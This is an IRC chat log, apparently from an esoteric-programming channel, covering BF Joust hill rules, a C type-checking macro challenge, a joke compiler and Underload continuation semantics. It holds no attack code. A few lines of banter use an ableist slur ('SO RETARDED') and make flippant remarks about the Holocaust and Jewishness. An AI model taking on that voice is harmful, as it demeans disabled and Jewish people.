21:01:59 <fizzie> <kipple> put them all on one page: file://slartibartfast/rune/www/lang/logos.html
21:02:05 <elliott> HA HA KIPPLE IS AN IDIOT HA HA
21:02:17 <fizzie> (From 2005-06-06.)
21:02:32 <elliott> 10.08.04:07:20:25 <fizzie> Ooh, a file:/// url link on a web-forum. "Here, take a look at this picture: file:///C:/Documents%20and%20Settings/HP_Administrator/My%20Documents/My%20Pictures/..."
21:02:46 <elliott> fizzie: DID _YOU_ POST THAT I WONDER
21:02:48 <fizzie> Yes, KETTLE POT etc etc.
21:02:56 <elliott> Pet calling the kottle bleck.
21:03:16 <Gregor> 09.05.07 <GregorR> file:///home/gregor/codu/public_html/imgs/win3plusplus.png // WELL HALLO THAR
21:03:22 <elliott> 09.05.07:17:07:47 <GregorR> file:///home/gregor/codu/public_html/imgs/win3plusplus.png
21:03:23 <elliott> X-D
21:03:45 <elliott> 05.10.28:15:55:53 <GregorR> !bf file://bf/LostKng.b
21:03:46 <elliott> HA HA
21:03:47 <elliott> SO RETARDED
21:03:51 <elliott> AND LOOK, GREGOR'S MACHINE IS CALLED BF
21:03:52 <Gregor> elliott: No, that was legit.
21:03:55 <elliott> AND HE HAS A FILE CALLED LOSTKNG.B IN /
21:03:58 <elliott> Gregor: :joke:
21:03:59 <Gregor> elliott: At the time.
21:04:26 <Gregor> elliott: JOKE YOR FACE
21:12:53 <elliott> so anyway
21:12:56 <elliott> PONZI SCHEME
21:21:35 <oerjan> <elliott> nescience: yeah, and perl fails at processing /dev/random too <-- ARE YOU ENTIRELY SURE OF THAT
21:21:45 <elliott> ha. ha. ha. ha.
21:22:05 <elliott> Bootstrapping compilers: FUN??
21:22:55 <oerjan> <Gregor> I'm blond with blue (sort of) eyes, so I could totally stealth my way through the holocaust ... or some such logic :P <-- YOUR HATS WOULD BETRAY YOU
21:23:14 -!- Lymia has joined.
21:23:52 <tswett> Gregor: how Jewish are you?
21:23:57 <tswett> Utterly un-?
21:24:26 <elliott> He's TOTALLY JEWISH.
21:27:24 <elliott> How efficient is GMP on small (less-than-32-bit) integers? Compared to native arithmetic?
21:28:02 <oerjan> *NEWSFLASH* THERE IS AN ACTUAL NON-SPAM MESSAGE ON THE FORUM
21:28:04 <Deewiant> My guess is somewhere between 1-5x slower in general
21:28:32 <zzo38> oerjan: The esolang forum is no good, just use the IRC and wiki
21:28:38 <elliott> i like the forum
21:28:55 <elliott> oerjan: s|NON-SPAM|NON-SPAM BUT IDIOTIC|
21:29:07 <oerjan> zzo38: most of us do, it's just occasionally someone drops by
21:29:08 <elliott> Deewiant: Woo, that's totally acceptable then, who needs fixnums, NOT ME
21:29:22 <oerjan> *that
21:29:37 <Deewiant> It could be worse, but I doubt it
21:29:44 <zzo38> oerjan: Most of us do what?
21:29:57 <oerjan> wait wtf
21:30:03 <elliott> oerjan: ?
21:30:31 <oerjan> *NEWSFLASH* THE PREVIOUS NEWSFLASH WAS NOT NEWS, WTH DID MY RSS REPEAT THAT ONE...
21:30:48 <elliott> X-D
21:30:56 <Deewiant> It should just use + sizeof(void*) memory for each integer and every arithmetic operation involves an additional memory load, test, and branch... I'd expect compilers to be able to optimize sequences of those out so it wouldn't be so bad in loops
21:31:35 <oerjan> MAYBE IT HAS SOMETHING TO DO WITH THE STRANGE FACT SOMEONE ACTUALLY _DELETED_ SPAM IN THE FORUM...
21:31:49 <elliott> oerjan: GASPETH
21:32:14 -!- Lymia has quit (Read error: Connection reset by peer).
21:32:39 <Gregor> Idea for BFJoust newbie hill:
21:32:40 -!- Lymia has joined.
21:32:45 <oerjan> zzo38: most of us esolangers use irc or the wiki instead.
21:32:53 -!- Lymia has quit (Changing host).
21:32:53 -!- Lymia has joined.
21:33:18 <oerjan> zzo38: the forum was only created because graue for some reason had a different opinion on the matter.
21:33:19 <Gregor> Basically run the hill as is, but for the trimming algorithm: If the newest competitor is in the last N places (N to be determined, maybe 3), remove it immediately. If the hill is oversize, remove the worst AND BEST competitor.
21:34:33 <elliott> nobody likes graue :D
21:36:22 <oerjan> s/likes/has contact with/
21:38:40 <elliott> oerjan: s/with/& or likes/
21:41:17 -!- MigoMipo has quit (Read error: Connection reset by peer).
21:41:54 <nescience> not sure this is unfriendly enough or popular enough for a newbie hill yet... but I have no problem with it
21:42:16 <nescience> removing the best may not be a good idea
21:42:16 -!- poiuy_qwert has joined.
21:42:35 <nescience> because it will just wind up trimming anything people could learn from off
21:42:49 <nescience> you might do like CW again here and give programs a short lifetime
21:43:45 -!- poiuy_qwert has quit (Client Quit).
21:44:57 <elliott> nescience: I'm still unconvinced that there's a way to get newbies interested in BF Joust ... AFAI'm concerned the kind of person who would do well at BF Joust will enjoy it without any newbie-friendly playpen :P
21:45:54 <fizzie> http://zem.fi/~fis/tapestats_all.png ← ART
21:46:46 -!- pingveno has quit (Ping timeout: 276 seconds).
21:47:12 <elliott> fizzie: Is that wallpaper-sized? :P
21:47:20 <elliott> Aww, almost.
21:47:29 <elliott> If it 1440x900...
21:47:46 <elliott> fizzie: Tint each little block with the match result blue/red style.
21:47:51 <elliott> THEN itll be art.
21:47:53 <fizzie> Not by design; it's (22*60+borders) x (22*42+borders).
21:48:19 -!- pingveno has joined.
21:48:31 <fizzie> Made the borders a bit larger to separate different matches better.
21:48:33 <elliott> <elliott> fizzie: Tint each little block with the match result blue/red style.
21:48:34 <elliott> <elliott> THEN itll be art.
21:48:41 <Gregor> nescience: The idea is to trim off the best only from the newbie hill. You don't learn strategies from things on the newbie hill, you just ease into doing BF Joust there.
21:48:44 <elliott> fizzie: BETTER IDEA
21:48:52 <elliott> fizzie: Put the match results as the fill colour of the separating triangles.
21:48:59 <Gregor> And you trim the best so that the average is low enough that newbies don't just always get shuffled off.
21:49:17 <fizzie> Could use a <> shape instead of a >< shape in general. Opponent's flag in the middle makes sort of more sense, anyway.
21:49:23 <nescience> gregor: if the best get trimmed off when there is activity, there's nothing to measure against
21:49:42 <nescience> giving a static life will also allow good programs to fall off
21:49:55 <Gregor> nescience: You also trim off the worst. You're comparing yourself to the middle-of-the-line programs.
21:50:22 <nescience> it's hard to "get used to" it if you don't have anything interesting to write against
21:50:24 <elliott> Challenge: Write a C macro CHECK_TYPE(x, t, e), where t is a type name, such that CHECK_TYPE(x, t, e) is a compile-time error if x is not of type t, and evaluates to e otherwise. Standard C is preferable, but I guess typeof could be allowed IF YOU'RE LAME.
21:50:39 <elliott> I don't think casts will work, but perhaps sticking it into a struct will, like so:
21:50:48 <elliott> (struct {t __;}){x}
21:50:48 <nescience> also if you write a progtam and it becomes #1 it could fall off the very next submission
21:50:50 <elliott> But I doubt that's valid C.
21:51:04 <elliott> (C99)
21:51:16 <nescience> which is kind of shitty
21:51:21 <Gregor> nescience: That's the point though :P
21:51:33 <elliott> I agree with nescience
21:51:35 <elliott> this would just bore people
21:51:37 <elliott> and make them think bf joust sucks
21:51:38 <nescience> and if you are "the newbie"?
21:51:52 <Gregor> *eh*
21:51:54 <elliott> Seriously, why are we catering to newbies apart from quintopia saying "zomg I keep trying to introduce people to BF Joust and they keep making up excuses to not give a shit" :P
21:52:24 <Lymia> You know what.
21:52:40 <elliott> http://www.lexjansen.com/pharmasug/2005/coderscorner/cc01.pdf ;; ADVANCED NUMBER-CHECKING MEDICAL RESEARCH
21:52:45 * elliott goes wat
21:52:54 <Lymia> Let's aim a evolver at the hill's current top.
21:53:01 <elliott> Goooood luuuuck
21:53:05 <elliott> fizzie: You do it :P
21:53:17 <Lymia> Gregor, why is the hill so huge.
21:53:32 <zzo38> If the type is structure, there is ways of checking things like this by using unions.
21:53:47 <Gregor> Lymia: Because a bunch of people asked for it to be bigger, so there would be more variety.
21:53:53 <Lymia> Ah.
21:54:04 <Lymia> I guess I'm going to have to OPTIMIZE
21:54:20 <zzo38> Why do you need a CHECK_TYPE macro like that, anyways?
21:54:34 <elliott> zzo38: It's a challenge.
21:54:41 <elliott> And for ostensible safety when using macros :P
21:55:13 <elliott> Gah;
21:55:14 <elliott> #include <stdlib.h>
21:55:15 <elliott> int main() {
21:55:15 <elliott> int x = 3;
21:55:15 <elliott> (struct{float __;}){x};
21:55:15 <elliott> }
21:55:16 <elliott> compiles.
21:55:17 <zzo38> With structures and unions, it is possible even to do type identification.
21:55:17 <Lymia> t temp__LINE__ = x; dosn't work?
21:55:21 <elliott> Lymia: Eh?
21:55:28 <elliott> Hmm.
21:55:31 <fizzie> Lymia: You can do that with a macro and some ##.
21:55:33 <elliott> Lymia: No, because e is an expression.
21:55:40 <Lymia> I mean.
21:55:41 <elliott> And statement-expressions are a gcc extension :P
21:55:46 <Lymia> Ah.
21:55:49 <Lymia> :(
21:55:55 <zzo38> You can disable GNU extensions if you do not want them.
21:56:19 <fizzie> http://zem.fi/~fis/tapestats.png → http://zem.fi/~fis/tapestats2.png -- more compact that way. (Now away, though.)
21:56:35 <elliott> fizzie: YOU DIDN'T IMPLEMENT MY GENIUS
21:57:01 <fizzie> elliott: I could still implement it by coloring the backgrounds. But later.
21:57:11 <zzo38> There is compile-time error if an array is defined with a negative number of elements. I don't know if this will help here, though.
22:00:52 <Lymia> Hmm....
22:01:09 <Lymia> You could do something with sizeof, but that's unreliable.
22:01:16 <Lymia> elliott, are you sure this is possible?
22:01:31 <zzo38> I also thought of sizeof, but some types have the same size as others
22:01:46 <elliott> Lymia: It's definitely possible with GNU extensions.
22:01:54 <Lymia> I know that much.
22:02:02 <zzo38> Yes, I do know of the GNU commands to do that, too.
22:02:20 <elliott> #define CHECK_TYPE(x,t,e) (({ t __ = (x); true; }) && (e))
22:02:30 <elliott> Apart from that, not sure.
22:02:47 <Lymia> Are you allowed to be sneaky, and include a function call?
22:02:52 <zzo38> There is actually a specific GNU command to check types compatibility!
22:03:01 <Deewiant> elliott: That doesn't do type-checking, implicit casts exist.
22:03:16 <elliott> Deewiant: Well, indeed. But the point is that,
22:03:19 <elliott> CHECK_TYPE(x,t,e)
22:03:26 <elliott> should trigger a compiler error iff
22:03:27 <elliott> f(x)
22:03:28 <elliott> would
22:03:31 <elliott> where f is defined as e.g.
22:03:34 <elliott> void f(t);
22:03:37 <elliott> *declared as
22:03:45 <elliott> Lymia: Sure... if the function is in the stdlib :P
22:03:51 <elliott> Lymia: Well, OK.
22:03:53 <elliott> You can define a function elsewhere.
22:03:54 <Lymia> :(
22:03:58 <Deewiant> You could have said that in one line instead of eight by saying that you want the types to be compatible, not identical
22:04:00 <elliott> I'm curious as to what you're thinking.
22:04:01 <zzo38> elliott: O, you can do that more easily.
22:04:22 <elliott> Deewiant: Well, the point is that f(x); where x is an int and f takes a float should fail. Which I'm pretty sure is C standard.
22:04:30 <elliott> (Even though you can shove an int into a float array.)
22:04:54 <zzo38> Can you use inline functions to do this?
22:05:08 <elliott> Those aren't standard C99, so no :-P
22:05:09 <Deewiant> elliott: No, that works fine.
22:05:19 <Deewiant> int becomes float implicitly.
22:05:26 <elliott> Deewiant: Heh. Wait, does that apply to every valid cast?
22:05:49 <elliott> i.e. f(x) is valid where {{ void f(T); }} iff ((T)x) is valid?
22:05:51 <Lymia> elliott, something with the complex type?
22:05:53 <Lymia> Dunno.
22:05:57 <elliott> Lymia: Yikes.
22:06:00 <Deewiant> Possibly.
22:06:33 <Lymia> elliott, is e's type defined?
22:06:35 <elliott> If so, #define CHECK_TYPE(x,t,e) (((t)(x)), (e)) would work.
22:06:40 <elliott> Lymia: Howso?
22:06:48 <Lymia> Is it's type the same as x?
22:06:52 <elliott> No.
22:06:59 <elliott> ...but if it was what would you do?
22:07:06 <zzo38> Do you see how to make a function call like xyz(a) where (a) is one of two structure types, call the different function, depending on which one it is, in C89? I think I know how.
22:07:08 <Lymia> (false?x,e)
22:07:17 <elliott> "false?x"...
22:07:21 <elliott> That's... totally not valid C code :P
22:07:25 <elliott> Don't you mean (false?x:e)
22:07:37 <Lymia> Yeah.
22:07:37 <Lymia> =p
22:07:41 <Lymia> That should work, no?
22:07:49 <elliott> If x and e had the same type, yes.
22:07:51 <zzo38> I do remember having something like that, where two or not of the same type it is error (or is it warning?)
22:07:58 <Lymia> Eh, wait.
22:08:52 <Lymia> (false?&x:(t*)0)
22:08:56 <Lymia> Couldn't you do something like that.
22:09:40 <Lymia> So.
22:09:50 <elliott> Hmm...
22:09:54 <elliott> Not if x isn't a variable.
22:09:58 <elliott> But
22:10:03 <Lymia> &(x)
22:10:10 <elliott> Uhh, no, that's not valid.
22:10:11 <elliott> But
22:10:13 <Lymia> Buh.
22:10:14 <fizzie> Deewiant: You can cast a value into a union type that has it as a member, but that doesn't happen automatically for a function call; but that's a GCC extension and doesn't count.
22:10:20 <elliott> (false ? (x) : *(t*)0) would work.
22:10:22 <zzo38> I do remember having something like sprintf(p,"%c%s",(y->is_string?y->text[0]:y->number),(y->is_string?y->text+1:"")) is that a valid C code? Of course where statements are allowed you just use if but in some places statements are not allowed
22:10:54 <Lymia> So.
22:10:55 <fizzie> Deewiant: (And you can cast between function pointer types, which also doesn't automatically happen.)
22:11:00 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
22:11:28 <Lymia> elliott, wait, crap.
22:11:40 <Lymia> You'd need a valid stretch of memory that you can ensure is larger than sizeof(t)
22:11:50 <Lymia> Or else you'd end up with a null dereference, no?
22:12:05 <elliott> I don't see why.
22:12:10 <Lymia> Dunno.
22:12:11 <elliott> It'd only dereference it if false is true.
22:12:12 <elliott> Which it isn't.
22:12:21 <Lymia> ( true ? (x) : *(t*)0 )
22:12:24 <Lymia> Shouldn't it be that instead.
22:12:27 <elliott> That's what I said.
22:12:31 <elliott> Err.
22:12:32 <elliott> Right
22:12:36 <elliott> The Lymia is right.
22:12:43 <Lymia> Then.
22:12:44 <elliott> Arguably though any program containing "*(t*)0" is invalid.
22:12:47 <elliott> Not sure what the standard says about that.
22:13:09 <Lymia> Next, how would you get an expression returning t?
22:13:09 <Lymia> :s
22:13:12 <Lymia> Erm.
22:13:14 <Lymia> e*
22:13:39 <zzo38> Put ",e" afterward?
22:13:43 <elliott> (( true ? (x) : *(t*)0 ), (e))
22:13:57 <elliott> Or even
22:14:00 <elliott> No wait, nm.
22:14:17 <elliott> (true ? ((x),e)) : *(t*)0)
22:14:18 <elliott> Hooray.
22:14:37 <Lymia> Eh?
22:14:39 <elliott> ?
22:14:49 <Lymia> Dosn't that make it a type mismatch if e's type dosn't equal t instead?
22:14:55 <Lymia> Don't really know about C99.
22:14:55 <elliott> Oh, right.
22:15:02 <elliott> ((true ? (x) : *(t*)0), (e))
22:15:11 <Lymia> #define CHECK_TYPE(x,t,e) ((true ? (x) : *(t*)0), (e))
22:15:12 <Lymia> I wonder.
22:15:19 <Lymia> How many companies would scream at you for writing that.
22:15:23 <elliott> TOO MANY
22:15:25 <zzo38> Try making a C program with that macro and see if it works.
22:15:50 <elliott> #define CHECK_TYPE(x,t,e) ((1 ? (x) : *(t*)0), (e))
22:15:50 <elliott> int main() {
22:15:51 <elliott> int x = 42;
22:15:51 <elliott> CHECK_TYPE(x, float, "hello");
22:15:51 <elliott> }
22:15:51 <elliott> /dev/stdin: In function ‘main’:
22:15:53 <elliott> /dev/stdin:5: warning: left-hand operand of comma expression has no effect
22:15:55 <elliott> /dev/stdin:5: warning: statement with no effect
22:15:57 <elliott> Wish it w.arned me about doing that
22:15:59 <elliott> *warned
22:16:13 <elliott> Oh, wait.
22:16:22 <elliott> It doesn't warn about calling a function taking a float like that either.
22:16:24 <elliott> How odd :)
22:18:10 -!- Lymia has quit (Read error: Connection reset by peer).
22:18:39 -!- Lymia has joined.
22:18:41 <fizzie> I can't quite follow what's going on; but there's heaps of code that call float foof(float x) as foof(42), there's nothing wrong with passing an int into foof.
22:18:45 <Lymia> test.c:9: error: type mismatch in conditional expression
22:18:48 <Lymia> The smell of success.
22:18:48 <Lymia> :o
22:20:15 <elliott> fizzie: It was
22:20:18 <elliott> int x = 42; foof(x)
22:20:21 <elliott> But yeah, sure.
22:20:24 <elliott> Lymia: Cool; what test?
22:20:37 <Lymia> int test;
22:20:37 <Lymia> printf(CHECK_TYPE(test,struct test,"Hi, hi~"));
22:21:00 <zzo38> Now you can to check type like that!!!
22:21:15 <zzo38> My company doesn't scream at you for writing that kind of programs.
22:21:16 <elliott> I CAN TO IT
22:21:24 <elliott> I was unaware you had a company.
22:21:29 <elliott> Or are we talking about "zzo38 Enterprises" or something
22:21:41 <zzo38> elliott: I have no company yet.
22:21:58 <elliott> VACUOUSLY TRUE STATEMENTS
22:22:01 <zzo38> But even when it does, I doubt I can scream at you for that kind of things.
22:23:29 <zzo38> Next question: Make a macro that calls two different function depending on which structure type it is.
22:24:16 <zzo38> Can you do that?
22:24:30 <oerjan> <elliott> int x = 42; foof(x) <-- i think _someone_ may be spoiled by haskell type classes
22:25:08 <Lymia> zzo38, it's called abuse.
22:25:17 <Lymia> :9
22:26:09 <Lymia> So.
22:26:13 <zzo38> Lymia: I think I can make these kind of things though. I do not call them abusive. I have also once made structure to ensure the sizeof(int) and stuff is correct, otherwise it will not compile.
22:26:16 <Lymia> Would that macro actually be useful for something?
22:26:22 <Lymia> Typesafe macros or something?
22:27:08 <zzo38> There might be use for some of these things in some programs.
22:29:05 <zzo38> But sometimes C macros is insufficient, so instead I will use some of the compile-time interpreted codes in Enhanced CWEB.
22:29:23 <zzo38> (Such as, in TeXnicard, I used that to make up a new "memory_of" command for memory managed types.)
22:30:43 <fizzie> Lymia: Incidentally, C1x is introducing type-generic expressions: _Generic(X, long double: doitldbl, float: doitf, char *: doits, default: doit)(X) will evaluate into doitldbl(X), doitf(X), doits(X) or doit(X) depending on the type of X. (That example uses the function-name-is-a-pointer thing there.)
22:31:38 <zzo38> fizzie: When the types are structure types (rather than plain numbers), I can do that even in C89 (I think).
22:32:08 <fizzie> I think there you could arguably more cleanly write #define CHECK_TYPE(x,t,e) _Generic(x, t: e, default: /* anything that fails */)
22:32:34 <Lymia> You'd have to make it fail at compile time.
22:33:08 <zzo38> However, I think these new kind of things in C99 and C1x and C++0x and stuff much of which we do not need and I do not like it much.
22:34:04 <fizzie> Lymia: They're also adding static_assert for compile-time assertions.
22:34:14 <Lymia> =3
22:34:20 <zzo38> What I do want to add though, is compile time error catching directive!
22:35:26 <zzo38> With compile time error catching directive, you can probably do a lot of things like C99 and C++ and so on, without C99 and C++ and so on. And even more things than that, too!
22:35:32 <fizzie> #define CHECK_TYPE(x,e,t) (static_assert(_Generic(x, t: 1, default: 0), "bad types"), e) or something, + a few more ()s.
22:37:15 <zzo38> Static assert? Just do this: struct { char _[x?1:-5]; }
22:37:55 <zzo38> If you want a customized error message, use #line
22:37:57 <elliott> NOBODY CARES ABOUT COMPILE-TIME ERROR CATCHING TO ADD LANGUAGE FEATURES
22:38:05 <fizzie> That doesn't give nice error messages; static_assert(constant-expr, "foo") is guaranteed to include "foo" in the message.
22:38:57 <elliott> fizzie: but what if my system only has two LEDs
22:39:00 <elliott> WHAT THEN
22:39:05 <elliott> (just blink them according to mor-)
22:39:08 <elliott> WHAT IF MY MACHINE EXISTS OUTSIDE OF TIME
22:39:26 <fizzie> Maybe it's a QoI issue.
22:39:33 <zzo38> fizzie: I think you can use #line to make a filename with a error message. And then put #line again afterward to change it back to how it was before.
22:39:44 <Lymia> The message outputted has "foo" in it.
22:39:47 <Lymia> You can't see it however.
22:39:52 -!- augur has quit (Remote host closed the connection).
22:40:04 <fizzie> zzo38: You mean manually update the second #line every time it moves in the file?
22:40:20 <elliott> fizzie: DON'T SUBJECT US TO MORE PAIN
22:40:30 <elliott> My mental anguish is peaking.
22:40:42 <Lymia> Let's talk in Chinese!
22:40:46 <zzo38> fizzie: No, use a prepreprocessor such as WEB.
22:41:09 <elliott> COMPILE-TIME ERROR CATCHING IN THE OUTPUT OF A LITERATE PROGRAM SO THAT YOUR PROGRAM CAN BE A BOOK AS WELL AS A PROGRAM IS THE SOLUTION TO ALL PROBLEMS
22:41:14 <zzo38> (Or, in this case, CWEB or Enhanced CWEB. Or even AWK if you want to)
22:41:34 <elliott> fizzie: So can I port mcmap to Enhanced CWithCompileTimeErrorCatchingWEB?
22:42:00 <oerjan> <elliott> WHAT IF MY MACHINE EXISTS OUTSIDE OF TIME <-- THEN C IS CLEARLY INADEQUATE, USE TWODUCKS OR FEATHER
22:43:08 <zzo38> To do compile-time error catching you need to do it in the compiler itself, not in a external program.
22:43:19 <oerjan> using unimplementable languages like twoducks should not be a problem outside of time. and feather implementation shows all evidence of being outside of time already.
22:43:56 <elliott> zzo38: Enhanced CWithCompileTimeErrorCatchingWEB is just Enhanced CWEB that outputs code in C-with-compile-time-error-catching.
22:44:00 <elliott> To be compiled with a suitable compiler.
22:44:20 <elliott> zzo38: (For instance one suitable compiler is CatchGCC)
22:44:35 <zzo38> elliott: OK. Now it makes sense. Is such things as CatchGCC exists?
22:44:48 <elliott> Yes, but the code is not public yet, as it is in development.
22:45:00 <elliott> It also removes error messages because they are too user friendly. Instead it gives an error code
22:45:02 <zzo38> Really?
22:45:07 <elliott> You can use the line number as an error code if you do
22:45:10 <elliott> #line 1234
22:45:12 <elliott> #errorcode line
22:45:18 -!- nescience has quit (Quit: -a-).
22:45:22 <elliott> Then the line after that if it errors will use the line number you specified as an error code.
22:46:36 <Lymia> Troll.
22:46:38 <Lymia> :(
22:47:22 <zzo38> That doesn't seem to make much sense, if you have a #errorcode command then why do you need #line for error codes? And what in case more than one error is possible?
22:48:24 <oerjan> elliott: trolling zzo38 isn't particularly polite.
22:48:33 <elliott> i wasn't trolling!
22:48:39 <elliott> i do plan to write it!
22:48:41 <elliott> some day.
22:48:46 <oerjan> heh
22:49:06 <elliott> zzo38: Because then you can use #errorcode in compiler output.
22:49:09 <zzo38> O, so you mean it is in the development in the future, not now.
22:49:11 <elliott> In case you want to make the error code be the line it is on.
22:49:24 <elliott> (So that you can find the error in your program)
22:49:48 <quintopia> you folks didn't die of boredom without me did you?
22:50:02 <fizzie> quintopia: "Oh, you were gone?"
22:50:04 <zzo38> I do not see how that is useful, since the error message should already include the line number. In case of error 5 on line 29 then you might get a message such as "file.c:29:5", isn't it?
22:50:33 <fizzie> You probably get "5" out of CatchGCC.
22:50:44 <elliott> fizzie: No, you get 8283 or similar error code.
22:50:49 <elliott> If you want to have both line and error code, you can do
22:51:19 <elliott> #line #currentline*ceil((log(#currentline)/log(10)))+1 + #errorcode
22:51:21 <elliott> #errorcode
22:51:31 <elliott> Then it will show like 58283.
22:52:12 <zzo38> But then you need to be able to make non-integer number in directives.
22:52:18 <Lymia> elliott, #define return printf("Line %u - A horrible programmer's function returns!", __LINE__ );return
22:52:19 <fizzie> Maybe someone could write a wrapper that compiles both with #errorcode line and without, assume the reported errors occur in the same order, and combines the messages.
22:52:22 <elliott> zzo38: It uses fixed point.
22:52:25 <elliott> So it is the most accurate.
22:52:27 -!- augur has joined.
22:52:36 <Lymia> Evil: Y/N
22:52:47 <elliott> Lymia: You could instead do that by doing
22:52:49 <elliott> returnprint 3;
22:52:50 <zzo38> Maybe better kind of error code something like, if all error codes are up to 2000 then you have line number multiplied by 10000 and add error code.
22:52:53 <elliott> and using the compile-time error catching.
22:52:55 <elliott> For instance
22:52:57 <elliott> #catcherror
22:52:59 -!- poiuy_qwert has joined.
22:53:03 <Lymia> trolololol
22:53:10 <elliott> #errortype e (e->typeerror == TYPE_invalidstatementerror)
22:53:13 <elliott> #rewrite \
22:53:25 <elliott> { printf("my message %d", __LINE__); } \
22:53:30 <zzo38> So that if you have line 42 and error 63 then you will have 420063 since the error code can be up to four digits long.
22:53:33 <elliott> #splicecode# code
22:53:34 <elliott> #endcatch
22:53:49 <elliott> zzo38: Yes, that is a better idea.
22:54:30 <zzo38> And then in case you have multiple files, such as 6 files, you can have a number for the file multiply by 10000 and the line number multiply by 100000 instead.
22:55:04 <elliott> That would be good!
22:55:14 <elliott> Maybe you can use compile-time error catching to make an #errorfield command that lets you add fields like that.
22:55:46 <zzo38> YEs, maybe.
22:56:10 <elliott> fizzie: So can I rewrite mcmap in it yet?
22:59:33 <Lymia> elliott, you troll~
22:59:42 <elliott> I DO NOT TROLL EVER
23:03:13 <Lymia> <3
23:12:10 -!- iconmaster has joined.
23:17:03 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:18:01 -!- aloril has quit (Ping timeout: 264 seconds).
23:18:08 <elliott> oerjan: pinging
23:19:42 <oerjan> pong
23:20:03 <elliott> oerjan: Your MUSINGS on your UNDERLOAD WITH CONTINUATIONS would be APPRECIATED.
23:20:07 <elliott> (For I IMPLEMENTED it, you SEE.)
23:20:11 <oerjan> argh
23:20:24 <elliott> there are two possibilities
23:20:26 <elliott> eval ('C':p) (p':xs) = eval p' (p:xs)
23:20:26 <elliott> --eval ('C':p) xs = eval p (p:xs)
23:20:29 <elliott> The former seems... saner.
23:20:35 <elliott> oerjan: I implemented ^ in terms of the rest of the language too
23:20:51 <elliott> ^ === a(*^)~*C
23:21:19 <oerjan> knowing that ordinary ^ can be implemented certainly helps with sanity :D
23:21:49 <elliott> oerjan: the former is basically
23:21:57 <elliott> x(y)Cz -> x(z)y
23:21:58 <oerjan> the former is indeed saner, the latter doesn't give you a way to _throw_ a continuation
23:21:59 <elliott> and the latter is
23:22:03 <elliott> xCy -> x(y)y
23:22:06 <elliott> which is just ludicrous
23:23:00 <oerjan> hm interestingly continuations means you can no longer apply simplifications to substrings
23:23:19 <oerjan> because A -> B does not imply AC -> BC if continuations are used
23:24:15 <oerjan> elliott: i conclude your "latter" is not powerful enough to be considered real continuations
23:24:28 <elliott> oerjan: indeed
23:24:35 <elliott> oerjan: also, is that statement about simplification true if output is removed?
23:24:37 -!- FireFly has quit (Quit: swatted to death).
23:24:50 <oerjan> um what
23:24:50 <elliott> because if it is, (x)^ === (y)^ => x === y
23:25:03 <elliott> and so semantic-preserving simplifications are OK
23:25:07 <elliott> or?
23:25:14 <elliott> hm maybe not
23:25:15 <oerjan> well obviously you need to ignore output if you are to simplify _inside_ ()'s
23:25:19 <elliott> right :P
23:26:02 <oerjan> i recall ais523 implied he changed S semantics for underlambda precisely for this reason
23:26:49 <oerjan> however even with output, simplifications on the _unnested_ program substrings are allowed in underload
23:27:36 <elliott> :t readFile . head
23:27:37 <elliott> oerjan: right
23:27:37 <lambdabot> [FilePath] -> IO String
23:27:46 <elliott> :t readFile . head <$> getArgs
23:27:47 <lambdabot> Not in scope: `getArgs'
23:27:51 <elliott> :t readFile . head <$> System.Environment.getArgs
23:27:52 <lambdabot> IO (IO String)
23:27:56 <elliott> :t readFile . head =<< System.Environment.getArgs
23:27:57 <lambdabot> IO String
23:28:13 <oerjan> <elliott> ^ === a(*^)~*C <-- um wait you're certainly using ^ on the right
23:28:22 <elliott> oerjan: er. oops.
23:28:24 <elliott> :D
23:28:51 <elliott> oerjan: to play along at home, here's ffug.hs: http://sprunge.us/OHgM
23:28:57 <elliott> (ffug = furry furry underload girls)
23:29:04 <elliott> eval "prog" [] is what you want.
23:29:09 <elliott> since i gather command line programs are a pain in windows.
23:29:13 <elliott> you may want to let run = flip eval []
23:29:48 <Deewiant> eval `flip` []
23:30:37 <elliott> Deewiant: ITT: Sometimes not everything has to be infix
23:31:09 <Deewiant> flip `id` eval `id` []
23:31:21 <elliott> Maybe we need @infixify.
23:31:32 <oerjan> elliott: i believe ^ === (*C)C
23:31:52 <elliott> *Main> eval "(:(*C)C):(*C)C" []
23:31:52 <elliott> ""
23:31:52 <elliott> DING
23:31:53 <elliott> wrong
23:31:54 <elliott> try again
23:31:55 -!- aloril has joined.
23:32:08 <oerjan> erm
23:32:59 <oerjan> (x)(*C)Cy -> (x)(y)*C -> (xy)C -> ()xy , oh
23:34:38 <elliott> well we want to solve
23:34:53 <elliott> (x)eCy -> xy
23:34:56 <elliott> and we know that
23:35:03 <oerjan> try (*(!)~*C)C
23:35:07 <elliott> x(y)Cz -> x(z)y
23:35:08 <elliott> so
23:35:31 <elliott> (x)eCy -> (x)(y){{e}} -> xy
23:35:35 <oerjan> elliott: ^
23:35:35 <elliott> where {{...}} does the obvious :P
23:35:37 <elliott> unquoting
23:35:39 <elliott> oerjan: yep, about to
23:35:55 <elliott> oerjan: but i _did_ link you to a perfectly good haskell file with which you could try it :P
23:36:06 <oerjan> sheesh
23:36:07 <elliott> *Main> eval "(:(*(!)~*C)C):(*(!)~*C)C" []
23:36:07 <elliott> ""
23:36:08 <elliott> ding
23:36:09 <elliott> etc.
23:36:16 <elliott> <elliott> (x)eCy -> (x)(y){{e}} -> xy
23:36:23 <elliott> this to me suggests it might not be possible, surprisingly enough
23:36:24 <elliott> oh wait
23:36:27 <elliott> unless e modifies x...
23:36:30 <elliott> hmm
23:36:32 <elliott> this is complicated
23:37:03 <oerjan> i don't understand why (*(!)~*C)C didn't work
23:37:46 <oerjan> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C -> (!xy)C -> ()!xy -> xy
23:37:51 <elliott> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C
23:38:08 <elliott> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C -> (xy)(!)~*C
23:38:14 <elliott> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C -> (xy)(!)~*C -> (!)(xy)*C
23:38:19 <elliott> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C -> (xy)(!)~*C -> (!)(xy)*C -> (!xy)C
23:38:27 <elliott> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C -> (xy)(!)~*C -> (!)(xy)*C -> (!xy)C -> ()!xy
23:38:29 <elliott> (x)(*(!)~*C)Cy -> (x)(y)*(!)~*C -> (xy)(!)~*C -> (!)(xy)*C -> (!xy)C -> ()!xy -> xy
23:38:29 <elliott> hm
23:38:39 <elliott> oerjan: that's odd. should i add tracing of the stack?
23:38:52 <oerjan> heh
